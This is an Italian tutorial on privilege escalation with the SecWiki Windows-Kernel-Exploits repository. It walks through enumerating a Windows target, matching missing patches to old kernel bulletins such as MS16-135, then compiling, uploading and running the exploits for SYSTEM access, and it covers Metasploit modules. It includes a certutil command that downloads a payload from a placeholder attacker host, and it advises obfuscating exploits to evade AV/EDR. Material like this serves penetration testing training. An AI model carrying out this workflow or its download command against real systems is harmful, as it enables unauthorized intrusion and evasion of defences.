Tutorials

🧠 Guida Avanzata – `Windows-Kernel-Exploits` (SecWiki)

Il repository GitHub Windows-Kernel-Exploits è una raccolta curata di exploit kernel per Windows, ordinati per CVE Common Vulnerabilities and Exposures, tipicamente classificati per bollettino Microso

#exploitation#post-exploitation#windows#privesc

🧠 Guida Avanzata – Windows-Kernel-Exploits (SecWiki)

🔍 Descrizione del progetto

Il repository GitHub Windows-Kernel-Exploits è una raccolta curata di exploit kernel per Windows, ordinati per CVE (Common Vulnerabilities and Exposures), tipicamente classificati per bollettino Microsoft (MS##-###).

⚙️ Obiettivo principale: Privilege Escalation (da user a SYSTEM)

📁 Struttura del repository

Ogni cartella nel repository corrisponde a una vulnerabilità specifica, ad esempio:

bash
MS16-135/
├── TsysCall.c
├── readme.md
├── compiled_exploit.exe
└── poc.py

La nomenclatura MS##-### corrisponde al Microsoft Security Bulletin, ad esempio:

  • MS16-135 → CVE-2016-7255 → Elevazione di privilegi nel driver win32k.sys
  • MS10-092 → CVE-2010-3338 → Task Scheduler vulnerabile

🔧 Requisiti

  • Accesso limitato a un host Windows target (utente con bassi privilegi)
  • Output da systeminfo, WinPEAS, WES, ecc. per identificare versioni e patch
  • Possibilità di trasferire ed eseguire binari su macchina target
  • Compilatore C/C++ se gli exploit non sono precompilati (Visual Studio, mingw-w64, x86/x64 toolchains)

📌 Workflow operativo standard

1️⃣ Identificazione del sistema target

Utilizza strumenti di enum come:

  • systeminfo
  • wmic os get Caption,CSDVersion /value
  • Windows-Exploit-Suggester
  • WinPEAS, Seatbelt

2️⃣ Ricerca della vulnerabilità

Confronta i KB mancanti o la versione dell'OS con la lista nel repository:

Esempio:

Se il sistema è Windows 7 SP1 e manca KB3197868, potresti considerare MS16-135.

3️⃣ Navigazione nella cartella della vulnerabilità

Accedi alla relativa directory:

cd windows-kernel-exploits/MS16-135/

Ogni cartella solitamente contiene:

FileScopo
exploit.c/.cppCodice sorgente dell’exploit
readme.mdDettagli sul CVE e istruzioni
exploit.exeVersione precompilata (non sempre presente)
shellcode.cPayload integrato nell’exploit

4️⃣ Compilazione (se necessario)

Puoi compilare localmente con:

#### 🔵 Linux (cross-compilazione con mingw-w64)

bash
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe

#### 🔵 Windows (Visual Studio)

Apri il progetto .sln o compila da CLI:

bash
cl exploit.c /Fe:exploit.exe

5️⃣ Upload e test su macchina target

Trasferisci exploit.exe via:

  • evil-winrm -i target -u user -p password -f exploit.exe
  • certutil.exe -urlcache -f http://attacker/exploit.exe exploit.exe
  • WebDAV / SMB share / PowerShell

Esegui:

.\exploit.exe

📌 Se l’exploit ha successo → ottieni NT AUTHORITY\SYSTEM


🔥 Esempio reale – MS16-135 (CVE-2016-7255)

Descrizione:

  • Driver coinvolto: win32k.sys
  • Tipo: Use-After-Free
  • Effetto: Escalation da low-privilege user a SYSTEM
  • Patched in: KB3197868

Steps:

1. Enum OS 2. Conferma patch mancante con Windows-Exploit-Suggester 3. Naviga in MS16-135/ 4. Compila o usa .exe esistente 5. Carica su macchina target 6. Esegui → otterrai SYSTEM shell


🧩 Integrazione con Metasploit

Alcuni exploit presenti nel repo sono anche disponibili nei moduli exploit/windows/local/ di Metasploit.

Puoi eseguire ricerche del tipo:

bash
search cve:2016-7255

Esempio modulo MSF:

bash
use exploit/windows/local/ms16_135_win32k

📚 Consigli operativi e best practices

Best PracticeDettaglio
⚠️ Test in sandboxMolti exploit sono instabili su build moderne
✅ Usa versioni compatibiliVerifica l'architettura: x86 vs x64
🔐 Non usare in ambienti produttiviPossibili BSOD o crash
📤 Output loggingRedirigi stdout/stderr su file
🔎 Convalida exploitCerca CVE su Exploit-DB per dettagli e PoC aggiornati

🔒 Note sulla sicurezza

  • Molti exploit nel repo sono PoC: potresti doverli modificare per un'esecuzione reale.
  • Controlla la compatibilità del payload con l'architettura e il contesto (x86 vs x64).
  • Alcuni exploit sono rilevati da AV/EDR: considera l’offuscamento o il recompile.

📎 Risorse correlate da integrare nel flusso operativo

ToolUso
WinPEASPrivilege escalation enumeration
Windows-Exploit-SuggesterVerifica patch mancanti
PowerUp (PowerShell)Enum + privesc detection
MSF exploit/windows/local/Moduli MSF aggiornati
AccessChk.exeVerifica ACL su file e servizi